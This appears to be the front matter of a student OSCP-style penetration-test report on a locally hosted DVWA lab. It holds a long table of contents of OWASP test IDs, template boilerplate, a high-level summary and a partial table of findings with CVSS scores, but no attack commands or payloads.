

# Offensive Security

## OSCP Exam Report Demo

**OSID: 2540124993/2501987330**

kevin.wijaya018@binus.ac.id/

muhammad.faqih002@binus.ac.id

August 4, 2025

v1.0

# Table of Contents

<b>1</b>	<b>Offensive Security OSCP Exam Penetration Test Report .....</b>	<b>17</b>
1.1	Introduction .....	17
1.2	Objective .....	17
1.3	Requirements .....	17
<b>2</b>	<b>High-Level Summary .....</b>	<b>18</b>
2.1	Recommendations .....	18
2.2	Identified Vulnerabilities .....	18
<b>3</b>	<b>Methodologies .....</b>	<b>23</b>
3.1	Information Gathering .....	23
3.2	Service Enumeration .....	23
3.3	Penetration .....	23
3.4	Maintaining Access .....	24
3.5	House Cleaning .....	24
<b>4</b>	<b>Independent Challenges .....</b>	<b>25</b>
4.1	Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) (Not possible due to DVWA being a locally run application with no traces in the world wide web) .....	25
4.1.1	Service Enumeration .....	25
4.1.2	Initial Access .....	25
4.1.3	Privilege Escalation .....	25
4.1.4	Post-Exploitation .....	25
4.2	Fingerprint Web Server (OTG-INFO-002) ( <a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1)) .....	26
4.2.1	Service Enumeration .....	26
4.2.2	Initial Access .....	26
4.2.3	Privilege Escalation .....	28
4.2.4	Post-Exploitation .....	28
4.3	Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ( <a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1)) .....	29
4.3.1	Service Enumeration .....	29

4.3.2 Initial Access .....	30
4.3.3 Privilege Escalation .....	30
4.3.4 Post-Exploitation .....	30
<b>4.4 Enumerate Applications on Webserver (OTG-INFO-004) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>31</b>
4.4.1 Service Enumeration .....	31
4.4.2 Initial Access .....	31
4.4.3 Privilege Escalation .....	32
4.4.4 Post-Exploitation .....	32
<b>4.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>33</b>
4.5.1 Service Enumeration .....	33
4.5.2 Initial Access .....	34
4.5.3 Privilege Escalation .....	34
4.5.4 Post-Exploitation .....	34
<b>4.6 Identify Application Entry Points (OTG-INFO-006) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>35</b>
4.6.1 Service Enumeration .....	35
4.6.2 Initial Access .....	35
4.6.3 Privilege Escalation .....	36
4.6.4 Post-Exploitation .....	36
<b>4.7 Map Execution Paths Through Application (OTG-INFO-007) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>37</b>
4.7.1 Service Enumeration .....	37
4.7.2 Initial Access .....	37
4.7.3 Privilege Escalation .....	38
4.7.4 Post-Exploitation .....	38
<b>4.8 Fingerprint Web Application Framework (OTG-INFO-008) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>39</b>
4.8.1 Service Enumeration .....	39
4.8.2 Initial Access .....	39
4.8.3 Privilege Escalation .....	40
4.8.4 Post-Exploitation .....	40
<b>4.9 Fingerprint Web Application (OTG-INFO-009) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>41</b>
4.9.1 Service Enumeration .....	41
4.9.2 Initial Access .....	41

4.9.3 Privilege Escalation .....	42
4.9.4 Post-Exploitation .....	42
<b>4.10 Map Application Architecture (OTG-INFO-010) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1)) .....</b>	<b>43</b>
4.10.1 Service Enumeration .....	43
4.10.2 Initial Access .....	43
4.10.3 Privilege Escalation .....	43
4.10.4 Post-Exploitation .....	43
<b>4.11 Network/Infrastructure Configuration (OTG-CONFIG-001) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1)) .....</b>	<b>45</b>
4.11.1 Service Enumeration .....	45
4.11.2 Initial Access .....	45
4.11.3 Privilege Escalation .....	45
4.11.4 Post-Exploitation .....	45
<b>4.12 Application Platform Configuration (OTG-CONFIG-002) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1)) .....</b>	<b>46</b>
4.12.1 Service Enumeration .....	46
4.12.2 Initial Access .....	46
4.12.3 Privilege Escalation .....	47
4.12.4 Post-Exploitation .....	47
<b>4.13 File Extensions Handling for Sensitive Information (OTG-CONFIG-003) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1)) .....</b>	<b>48</b>
4.13.1 Service Enumeration .....	48
4.13.2 Initial Access .....	49
4.13.3 Privilege Escalation .....	50
4.13.4 Post-Exploitation .....	50
<b>4.14 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1)) .....</b>	<b>51</b>
4.14.1 Service Enumeration .....	51
4.14.2 Initial Access .....	51
4.14.3 Privilege Escalation .....	52
4.14.4 Post-Exploitation .....	52
<b>4.15 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1)) .....</b>	<b>53</b>
4.15.1 Service Enumeration .....	53
4.15.2 Initial Access .....	55
4.15.3 Privilege Escalation .....	56

4.15.4 Post-Exploitation .....	56
<b>4.16 HTTP Methods (OTG-CONFIG-006) (http://localhost/dvwa (127.0.0.1)) .</b>	<b>57</b>
4.16.1 Service Enumeration .....	57
4.16.2 Initial Access .....	58
4.16.3 Privilege Escalation .....	60
4.16.4 Post-Exploitation .....	60
<b>4.17 HTTP Strict Transport Security (OTG-CONFIG-007) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>61</b>
4.17.1 Service Enumeration .....	61
4.17.2 Initial Access .....	61
4.17.3 Privilege Escalation .....	61
4.17.4 Post-Exploitation .....	61
<b>4.18 RIA Cross Domain Policy (OTG-CONFIG-008) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>62</b>
4.18.1 Service Enumeration .....	62
4.18.2 Initial Access .....	62
4.18.3 Privilege Escalation .....	62
4.18.4 Post-Exploitation .....	62
<b>4.19 Role Definitions (OTG-IDENT-001) (http://localhost/dvwa (127.0.0.1)) ..</b>	<b>63</b>
4.19.1 Service Enumeration .....	63
4.19.2 Initial Access .....	63
4.19.3 Privilege Escalation .....	64
4.19.4 Post-Exploitation .....	67
<b>4.20 User Registration Process (OTG-IDENT-002) (There is no user registration functionality in DVWA) .....</b>	<b>68</b>
4.20.1 Service Enumeration .....	68
4.20.2 Initial Access .....	68
4.20.3 Privilege Escalation .....	68
4.20.4 Post-Exploitation .....	68
<b>4.21 Account Provisioning Process (OTG-IDENT-003) (There is no account provisioning functionality in DVWA) .....</b>	<b>69</b>
4.21.1 Service Enumeration .....	69
4.21.2 Initial Access .....	69
4.21.3 Privilege Escalation .....	69
4.21.4 Post-Exploitation .....	69
<b>4.22 Account Enumeration and Guessable User Account (OTG-IDENT-004) (http://localhost/dvwa/login.php (127.0.0.1)) .....</b>	<b>70</b>

4.22.1 Service Enumeration .....	70
4.22.2 Initial Access .....	70
4.22.3 Privilege Escalation .....	71
4.22.4 Post-Exploitation .....	73
<b>4.23 Weak or Unenforced Username Policy (OTG-IDENT-005) (http://localhost/dvwa/login.php (127.0.0.1)) .....</b>	<b>74</b>
4.23.1 Service Enumeration .....	74
4.23.2 Initial Access .....	74
4.23.3 Privilege Escalation .....	75
4.23.4 Post-Exploitation .....	77
<b>4.24 Credentials Transported Over an Encrypted Channel (OTG-AUTHN-001) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>78</b>
4.24.1 Service Enumeration .....	78
4.24.2 Initial Access .....	78
4.24.3 Privilege Escalation .....	79
4.24.4 Post-Exploitation .....	79
<b>4.25 Default Credentials (OTG-AUTHN-002) (http://localhost/dvwa/login.php (127.0.0.1)) .....</b>	<b>80</b>
4.25.1 Service Enumeration .....	80
4.25.2 Initial Access .....	80
4.25.3 Privilege Escalation .....	81
4.25.4 Post-Exploitation .....	81
<b>4.26 Weak Lock Out Mechanism (OTG-AUTHN-003) (http://localhost/dvwa/login.php (127.0.0.1)) .....</b>	<b>82</b>
4.26.1 Service Enumeration .....	82
4.26.2 Initial Access .....	82
4.26.3 Privilege Escalation .....	84
4.26.4 Post-Exploitation .....	84
<b>4.27 Bypassing Authentication Schema (OTG-AUTHN-004) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>85</b>
4.27.1 Service Enumeration .....	85
4.27.2 Initial Access .....	85
4.27.3 Privilege Escalation .....	86
4.27.4 Post-Exploitation .....	86
<b>4.28 Remember Password Functionality (OTG-AUTHN-005) (There is no remember password functionality in DVWA) .....</b>	<b>87</b>
4.28.1 Service Enumeration .....	87

4.28.2 Initial Access .....	87
4.28.3 Privilege Escalation .....	87
4.28.4 Post-Exploitation .....	87
<b>4.29 Browser Cache Weakness (OTG-AUTHN-006) (<a href="http://localhost/dvwa/login.php">http://localhost/dvwa/login.php</a> (127.0.0.1)) .....</b>	<b>88</b>
4.29.1 Service Enumeration .....	88
4.29.2 Initial Access .....	88
4.29.3 Privilege Escalation .....	90
4.29.4 Post-Exploitation .....	90
<b>4.30 Weak Password Policy (OTG-AUTHN-007) (<a href="http://localhost/dvwa/vulnerabilities/csrf/">http://localhost/dvwa/vulnerabilities/csrf/</a> (127.0.0.1)) .....</b>	<b>91</b>
4.30.1 Service Enumeration .....	91
4.30.2 Initial Access .....	91
4.30.3 Privilege Escalation .....	93
4.30.4 Post-Exploitation .....	93
<b>4.31 Weak Security Question/Answer (OTG-AUTHN-008) (There is no security question functionality in DVWA) .....</b>	<b>94</b>
4.31.1 Service Enumeration .....	94
4.31.2 Initial Access .....	94
4.31.3 Privilege Escalation .....	94
4.31.4 Post-Exploitation .....	94
<b>4.32 Weak Password Change or Reset Functionalities (OTG-AUTHN-009) (<a href="http://localhost/dvwa/vulnerabilities/csrf/">http://localhost/dvwa/vulnerabilities/csrf/</a> (127.0.0.1)) .....</b>	<b>95</b>
4.32.1 Service Enumeration .....	95
4.32.2 Initial Access .....	95
4.32.3 Privilege Escalation .....	96
4.32.4 Post-Exploitation .....	97
<b>4.33 Weaker Authentication in Alternative Channel (OTG-AUTHN-010) (There is no alternative channel functionality in DVWA) .....</b>	<b>98</b>
4.33.1 Service Enumeration .....	98
4.33.2 Initial Access .....	98
4.33.3 Privilege Escalation .....	98
4.33.4 Post-Exploitation .....	98
<b>4.34 Directory Traversal/File Include (OTG-AUTHZ-001) (<a href="http://localhost/dvwa/vulnerabilities/fi/">http://localhost/dvwa/vulnerabilities/fi/</a> (127.0.0.1)) .....</b>	<b>99</b>
4.34.1 Service Enumeration .....	99
4.34.2 Initial Access .....	99

4.34.3 Privilege Escalation .....	101
4.34.4 Post-Exploitation .....	101
<b>4.35 Bypassing Authorization Schema (OTG-AUTHZ-002) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>102</b>
4.35.1 Service Enumeration .....	102
4.35.2 Initial Access .....	102
4.35.3 Privilege Escalation .....	103
4.35.4 Post-Exploitation .....	103
<b>4.36 Privilege Escalation (OTG-AUTHZ-003) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>104</b>
4.36.1 Service Enumeration .....	104
4.36.2 Initial Access .....	104
4.36.3 Privilege Escalation .....	104
4.36.4 Post-Exploitation .....	106
<b>4.37 Insecure Direct Object References (OTG-AUTHZ-004) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>107</b>
4.37.1 Service Enumeration .....	107
4.37.2 Initial Access .....	107
4.37.3 Privilege Escalation .....	109
4.37.4 Post-Exploitation .....	109
<b>4.38 Bypassing Session Management Schema (OTG-SESS-001) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>110</b>
4.38.1 Service Enumeration .....	110
4.38.2 Initial Access .....	110
4.38.3 Privilege Escalation .....	111
4.38.4 Post-Exploitation .....	111
<b>4.39 Cookies Attributes (OTG-SESS-002) (http://localhost/dvwa (127.0.0.1)) ....</b>	<b>112</b>
4.39.1 Service Enumeration .....	112
4.39.2 Initial Access .....	112
4.39.3 Privilege Escalation .....	112
4.39.4 Post-Exploitation .....	113
<b>4.40 Session Fixation (OTG-SESS-003) (http://localhost/dvwa (127.0.0.1)) ..</b>	<b>114</b>
4.40.1 Service Enumeration .....	114
4.40.2 Initial Access .....	114
4.40.3 Privilege Escalation .....	115
4.40.4 Post-Exploitation .....	115



<b>4.41 Exposed Session Variables (OTG-SESS-004) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1))</b>	<b>116</b>
4.41.1 Service Enumeration	116
4.41.2 Initial Access	116
4.41.3 Privilege Escalation	117
4.41.4 Post-Exploitation	117
<b>4.42 Cross Site Request Forgery (OTG-SESS-005) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1))</b>	<b>118</b>
4.42.1 Service Enumeration	118
4.42.2 Initial Access	118
4.42.3 Privilege Escalation	119
4.42.4 Post-Exploitation	119
<b>4.43 Logout Functionality (OTG-SESS-006) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1))</b>	<b>120</b>
4.43.1 Service Enumeration	120
4.43.2 Initial Access	120
4.43.3 Privilege Escalation	121
4.43.4 Post-Exploitation	121
<b>4.44 Session Timeout (OTG-SESS-007) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1))</b>	<b>122</b>
4.44.1 Service Enumeration	122
4.44.2 Initial Access	122
4.44.3 Privilege Escalation	123
4.44.4 Post-Exploitation	123
<b>4.45 Session Puzzling (OTG-SESS-008) (DVWA does not have complex multi-session or cross-application function)</b>	<b>124</b>
4.45.1 Service Enumeration	124
4.45.2 Initial Access	124
4.45.3 Privilege Escalation	124
4.45.4 Post-Exploitation	124
<b>4.46 Reflected Cross Site Scripting (OTG-INPVAL-001) (<a href="http://localhost/dvwa/vulnerabilities/xss_r">http://localhost/dvwa/vulnerabilities/xss_r</a> (127.0.0.1))</b>	<b>125</b>
4.46.1 Service Enumeration	125
4.46.2 Initial Access	125
4.46.3 Privilege Escalation	126
4.46.4 Post-Exploitation	126
<b>4.47 Stored Cross Site Scripting (OTG-INPVAL-002) (<a href="http://localhost/dvwa/vulnerabilities/xss_s">http://localhost/dvwa/vulnerabilities/xss_s</a> (127.0.0.1))</b>	<b>127</b>

4.47.1 Service Enumeration .....	127
4.47.2 Initial Access .....	127
4.47.3 Privilege Escalation .....	128
4.47.4 Post-Exploitation .....	128
<b>4.48 HTTP Verb Tampering (OTG-INPVAL-003) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>129</b>
4.48.1 Service Enumeration .....	129
4.48.2 Initial Access .....	129
4.48.3 Privilege Escalation .....	131
4.48.4 Post-Exploitation .....	131
<b>4.49 HTTP Parameter Pollution (OTG-INPVAL-004) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>132</b>
4.49.1 Service Enumeration .....	132
4.49.2 Initial Access .....	132
4.49.3 Privilege Escalation .....	134
4.49.4 Post-Exploitation .....	134
<b>4.50 SQL Injection (OTG-INPVAL-005) (http://localhost/dvwa (127.0.0.1)) ..</b>	<b>135</b>
4.50.1 Service Enumeration .....	135
4.50.2 Initial Access .....	135
4.50.3 Privilege Escalation .....	137
4.50.4 Post-Exploitation .....	137
<b>4.51 LDAP Injection (OTG-INPVAL-006) (There is no LDAP integration in DVWA) .....</b>	<b>138</b>
4.51.1 Service Enumeration .....	138
4.51.2 Initial Access .....	138
4.51.3 Privilege Escalation .....	138
4.51.4 Post-Exploitation .....	138
<b>4.52 ORM Injection (OTG-INPVAL-007) (There is no ORM Usage in DVWA) .</b>	<b>139</b>
4.52.1 Service Enumeration .....	139
4.52.2 Initial Access .....	139
4.52.3 Privilege Escalation .....	139
4.52.4 Post-Exploitation .....	139
<b>4.53 XML Injection (OTG-INPVAL-008) (There is no XML processing in DVWA) .</b>	<b>140</b>
4.53.1 Service Enumeration .....	140
4.53.2 Initial Access .....	140
4.53.3 Privilege Escalation .....	140

4.53.4 Post-Exploitation .....	140
<b>4.54 SSI Injection (OTG-INPVAL-009) (http://localhost/dvwa (127.0.0.1)) ....</b>	<b>141</b>
4.54.1 Service Enumeration .....	141
4.54.2 Initial Access .....	141
4.54.3 Privilege Escalation .....	143
4.54.4 Post-Exploitation .....	143
<b>4.55 XPath Injection (OTG-INPVAL-010) (There is no XPath queries in DVWA) .</b>	<b>144</b>
4.55.1 Service Enumeration .....	144
4.55.2 Initial Access .....	144
4.55.3 Privilege Escalation .....	144
4.55.4 Post-Exploitation .....	144
<b>4.56 IMAP/SMTP Injection (OTG-INPVAL-011) (There is no email functionality in DVWA) .....</b>	<b>145</b>
4.56.1 Service Enumeration .....	145
4.56.2 Initial Access .....	145
4.56.3 Privilege Escalation .....	145
4.56.4 Post-Exploitation .....	145
<b>4.57 Code Injection (OTG-INPVAL-012) (http://localhost/dvwa/vulnerabilities/exec (127.0.0.1)) .....</b>	<b>146</b>
4.57.1 Service Enumeration .....	146
4.57.2 Initial Access .....	146
4.57.3 Privilege Escalation .....	148
4.57.4 Post-Exploitation .....	148
<b>4.58 Command Injection (OTG-INPVAL-013) (http://localhost/dvwa/vulnerabilities/exec (127.0.0.1)) .....</b>	<b>149</b>
4.58.1 Service Enumeration .....	149
4.58.2 Initial Access .....	149
4.58.3 Privilege Escalation .....	151
4.58.4 Post-Exploitation .....	151
<b>4.59 Buffer Overflow (OTG-INPVAL-014) (DVWA uses PHP as a language, which is memory-safe) .....</b>	<b>152</b>
4.59.1 Service Enumeration .....	152
4.59.2 Initial Access .....	152
4.59.3 Privilege Escalation .....	152
4.59.4 Post-Exploitation .....	152

<b>4.60 Incubated Vulnerabilities (OTG-INPVAL-015) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1))</b>	<b>153</b>
4.60.1 Service Enumeration	153
4.60.2 Initial Access	153
4.60.3 Privilege Escalation	155
4.60.4 Post-Exploitation	155
<b>4.61 HTTP Splitting/Smuggling (OTG-INPVAL-016) (HTTP Splitting/Smuggling is not possible to due to the environment/setup of DVWA)</b>	<b>156</b>
4.61.1 Service Enumeration	156
4.61.2 Initial Access	156
4.61.3 Privilege Escalation	156
4.61.4 Post-Exploitation	156
<b>4.62 Error Codes (OTG-ERR-001) (<a href="http://localhost/dvwa">http://localhost/dvwa</a> (127.0.0.1))</b>	<b>157</b>
4.62.1 Service Enumeration	157
4.62.2 Initial Access	157
4.62.3 Privilege Escalation	158
4.62.4 Post-Exploitation	158
<b>4.63 Stack Traces (OTG-ERR-002) (<a href="http://localhost/dvwa/vulnerabilities/sqli">http://localhost/dvwa/vulnerabilities/sqli</a> (127.0.0.1))</b>	<b>159</b>
4.63.1 Service Enumeration	159
4.63.2 Initial Access	159
4.63.3 Privilege Escalation	161
4.63.4 Post-Exploitation	161
<b>4.64 Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001) (DVWA uses HTTP protocol (not HTTPS), so doesn't use SSL/TLS) ..</b>	<b>162</b>
4.64.1 Service Enumeration	162
4.64.2 Initial Access	162
4.64.3 Privilege Escalation	162
4.64.4 Post-Exploitation	162
<b>4.65 Padding Oracle (OTG-CRYPST-002) (DVWA does not implement any custom encryption routines that are vulnerable to padding oracle attacks) ...</b>	<b>163</b>
4.65.1 Service Enumeration	163
4.65.2 Initial Access	163
4.65.3 Privilege Escalation	163
4.65.4 Post-Exploitation	163

<b>4.66 Sensitive Information Sent via Unencrypted Channels (OTG-CRYPST-003) (http://localhost/dvwa (127.0.0.1))</b>	<b>164</b>
4.66.1 Service Enumeration	164
4.66.2 Initial Access	164
4.66.3 Privilege Escalation	165
4.66.4 Post-Exploitation	165
<b>4.67 Business Logic Data Validation (OTG-BUSLOGIC-001) (http://localhost/dvwa (127.0.0.1))</b>	<b>166</b>
4.67.1 Service Enumeration	166
4.67.2 Initial Access	166
4.67.3 Privilege Escalation	168
4.67.4 Post-Exploitation	168
<b>4.68 Ability to Forge Requests (OTG-BUSLOGIC-002) (http://localhost/dvwa (127.0.0.1))</b>	<b>169</b>
4.68.1 Service Enumeration	169
4.68.2 Initial Access	169
4.68.3 Privilege Escalation	171
4.68.4 Post-Exploitation	171
<b>4.69 Integrity Checks (OTG-BUSLOGIC-003) (http://localhost/dvwa (127.0.0.1))</b>	<b>172</b>
4.69.1 Service Enumeration	172
4.69.2 Initial Access	172
4.69.3 Privilege Escalation	174
4.69.4 Post-Exploitation	174
<b>4.70 Process Timing (OTG-BUSLOGIC-004) (http://localhost/dvwa (127.0.0.1))</b>	<b>175</b>
4.70.1 Service Enumeration	175
4.70.2 Initial Access	175
4.70.3 Privilege Escalation	177
4.70.4 Post-Exploitation	177
<b>4.71 Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005) (http://localhost/dvwa (127.0.0.1))</b>	<b>178</b>
4.71.1 Service Enumeration	178
4.71.2 Initial Access	178
4.71.3 Privilege Escalation	180
4.71.4 Post-Exploitation	180

<b>4.72 Circumvention of Work Flows (OTG-BUSLOGIC-006) (DVWA does not have relevant workflows that we can try to circumvent)</b>	<b>181</b>
4.72.1 Service Enumeration	181
4.72.2 Initial Access	181
4.72.3 Privilege Escalation	181
4.72.4 Post-Exploitation	181
<b>4.73 Defenses Against Application Mis-use (OTG-BUSLOGIC-007) (http://localhost/dvwa (127.0.0.1))</b>	<b>182</b>
4.73.1 Service Enumeration	182
4.73.2 Initial Access	182
4.73.3 Privilege Escalation	184
4.73.4 Post-Exploitation	184
<b>4.74 Upload of Unexpected File Types (OTG-BUSLOGIC-008) (http://localhost/dvwa (127.0.0.1))</b>	<b>185</b>
4.74.1 Service Enumeration	185
4.74.2 Initial Access	185
4.74.3 Privilege Escalation	186
4.74.4 Post-Exploitation	186
<b>4.75 Upload of Malicious Files (OTG-BUSLOGIC-009) (http://localhost/dvwa (127.0.0.1))</b>	<b>187</b>
4.75.1 Service Enumeration	187
4.75.2 Initial Access	187
4.75.3 Privilege Escalation	188
4.75.4 Post-Exploitation	188
<b>4.76 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001) (http://localhost/dvwa (127.0.0.1))</b>	<b>189</b>
4.76.1 Service Enumeration	189
4.76.2 Initial Access	189
4.76.3 Privilege Escalation	190
4.76.4 Post-Exploitation	190
<b>4.77 JavaScript Execution (OTG-CLIENT-002) (http://localhost/dvwa (127.0.0.1))</b>	<b>191</b>
4.77.1 Service Enumeration	191
4.77.2 Initial Access	191
4.77.3 Privilege Escalation	191
4.77.4 Post-Exploitation	191

<b>4.78 HTML Injection (OTG-CLIENT-003) (http://localhost/dvwa (127.0.0.1))</b>	<b>192</b>
4.78.1 Service Enumeration .....	192
4.78.2 Initial Access .....	192
4.78.3 Privilege Escalation .....	192
4.78.4 Post-Exploitation .....	192
<b>4.79 Client Side URL Redirect (OTG-CLIENT-004) (http://localhost/dvwa (127.0.0.1))</b>	<b>193</b>
4.79.1 Service Enumeration .....	193
4.79.2 Initial Access .....	193
4.79.3 Privilege Escalation .....	193
4.79.4 Post-Exploitation .....	193
<b>4.80 CSS Injection (OTG-CLIENT-005) (http://localhost/dvwa (127.0.0.1))</b>	<b>194</b>
4.80.1 Service Enumeration .....	194
4.80.2 Initial Access .....	194
4.80.3 Privilege Escalation .....	194
4.80.4 Post-Exploitation .....	194
<b>4.81 Client Side Resource Manipulation (OTG-CLIENT-006) (http://localhost/dvwa (127.0.0.1))</b>	<b>195</b>
4.81.1 Service Enumeration .....	195
4.81.2 Initial Access .....	195
4.81.3 Privilege Escalation .....	196
4.81.4 Post-Exploitation .....	196
<b>4.82 Test Cross Origin Resource Sharing (OTG-CLIENT-007) (http://localhost/dvwa (127.0.0.1))</b>	<b>197</b>
4.82.1 Service Enumeration .....	197
4.82.2 Initial Access .....	197
4.82.3 Privilege Escalation .....	197
4.82.4 Post-Exploitation .....	197
<b>4.83 Cross Site Flashing (OTG-CLIENT-008) (http://localhost/dvwa (127.0.0.1))</b>	<b>198</b>
4.83.1 Service Enumeration .....	198
4.83.2 Initial Access .....	198
4.83.3 Privilege Escalation .....	198
4.83.4 Post-Exploitation .....	198
<b>4.84 Testing for Clickjacking (OTG-CLIENT-009) (http://localhost/dvwa (127.0.0.1))</b>	<b>199</b>

4.84.1	Service Enumeration .....	199
4.84.2	Initial Access .....	199
4.84.3	Privilege Escalation .....	199
4.84.4	Post-Exploitation .....	199
<b>4.85</b>	<b>Testing WebSockets (OTG-CLIENT-010) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>200</b>
4.85.1	Service Enumeration .....	200
4.85.2	Initial Access .....	200
4.85.3	Privilege Escalation .....	200
4.85.4	Post-Exploitation .....	200
<b>4.86</b>	<b>Web Messaging (OTG-CLIENT-011) (http://localhost/dvwa (127.0.0.1)) .....</b>	<b>201</b>
4.86.1	Service Enumeration .....	201
4.86.2	Initial Access .....	201
4.86.3	Privilege Escalation .....	201
4.86.4	Post-Exploitation .....	201
<b>4.87</b>	<b>Local Storage (OTG-CLIENT-012) (http://localhost/dvwa (127.0.0.1)) ..</b>	<b>202</b>
4.87.1	Service Enumeration .....	202
4.87.2	Initial Access .....	202
4.87.3	Privilege Escalation .....	202
4.87.4	Post-Exploitation .....	202



# 1 Offensive Security OSCP Exam Penetration Test Report

## 1.1 Introduction

The Offensive Security Lab and Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security course. This report should contain all items that were used to pass the overall exam and it will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional.

## 1.2 Objective

The objective of this assessment is to perform an internal penetration test against the Offensive Security Lab and Exam network. The student is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report. An ex-ample page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this course. Use the sample report as a guideline to get you through the reporting.

## 1.3 Requirements

The student will be required to fill out this penetration testing report fully and to include the following sections:

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
- Any additional items that were not included

## 2 High-Level Summary

We were tasked with performing a website security assessment in accordance with OWASP testing principles. This assessment simulated an internal web application penetration test targeting a deliberately vulnerable environment in the form of Damn Vulnerable Web Application (DVWA). The primary objective was to evaluate the application's security posture by identifying common web vulnerabilities and exploiting them in a controlled manner, mimicking real-world attacker behavior.

During the assessment, multiple critical vulnerabilities were discovered across different security levels of the application. These included but not limited to issues such as SQL injection, Cross-Site Scripting (XSS), command injection, and insecure file upload functionality. The application also demonstrated weak session management and lacked proper input validation mechanisms.

The web application was successfully compromised through several attack vectors, primarily due to intentionally weak configurations and missing security controls. At various stages of testing, full or partial administrative control of the DVWA platform was obtained. This included bypassing authentication, executing system-level commands, uploading malicious files, and stealing session tokens. The findings reflect common security weaknesses often found in production environments with poor web application hygiene.

### 2.1 Recommendations

We recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect against additional vulnerabilities that are discovered at a later date.

### 2.2 Identified Vulnerabilities

In the course of this penetration test **6 Critical**, **18 High**, **30 Medium** and **33 Info** vulnerabilities were identified:

Target Name	IP	CVSS	Page
Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)	Not possible due to DVWA being a locally run application with no traces in the world wide web	0.0	25
Fingerprint Web Server (OTG-INFO-002)	http://localhost/dvwa (127.0.0.1)	6.5	26
Review Webserver Metafiles for Information Leakage (OTG-INFO-003)	http://localhost/dvwa (127.0.0.1)	5.3	29
Enumerate Applications on Webserver (OTG-INFO-004)	http://localhost/dvwa (127.0.0.1)	5.3	31
Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005)	http://localhost/dvwa (127.0.0.1)	5.3	33

Target Name	IP	CVSS	Page
Identify Application Entry Points (OTG-INFO-006)	http://localhost/dvwa (127.0.0.1)	0.0	35
Map Execution Paths Through Application (OTG-INFO-007)	http://localhost/dvwa (127.0.0.1)	0.0	37
Fingerprint Web Application Framework (OTG-INFO-008)	http://localhost/dvwa (127.0.0.1)	0.0	39
Fingerprint Web Application (OTG-INFO-009)	http://localhost/dvwa (127.0.0.1)	0.0	41
Map Application Architecture (OTG-INFO-010)	http://localhost/dvwa (127.0.0.1)	0.0	43
Network/Infrastructure Configuration (OTG-CONFIG-001)	http://localhost/dvwa (127.0.0.1)	0.0	45
Application Platform Configuration (OTG-CONFIG-002)	http://localhost/dvwa (127.0.0.1)	6.5	46
File Extensions Handling for Sensitive Information (OTG-CONFIG-003)	http://localhost/dvwa (127.0.0.1)	4.3	48
Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)	http://localhost/dvwa (127.0.0.1)	0.0	51
Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)	http://localhost/dvwa (127.0.0.1)	9.6	53
HTTP Methods (OTG-CONFIG-006)	http://localhost/dvwa (127.0.0.1)	5.4	57
HTTP Strict Transport Security (OTG-CONFIG-007)	http://localhost/dvwa (127.0.0.1)	0.0	61
RIA Cross Domain Policy (OTG-CONFIG-008)	http://localhost/dvwa (127.0.0.1)	0.0	62
Role Definitions (OTG-IDENT-001)	http://localhost/dvwa (127.0.0.1)	8.8	63
User Registration Process (OTG-IDENT-002)	There is no user registration functionality in DVWA	0.0	68
Account Provisioning Process (OTG-IDENT-003)	There is no account provisioning functionality in DVWA	0.0	69
Account Enumeration and Guessable User Account (OTG-IDENT-004)	http://localhost/dvwa/login.php (127.0.0.1)	9.8	70
Weak or Unenforced Username Policy (OTG-IDENT-005)	http://localhost/dvwa/login.php (127.0.0.1)	7.3	74
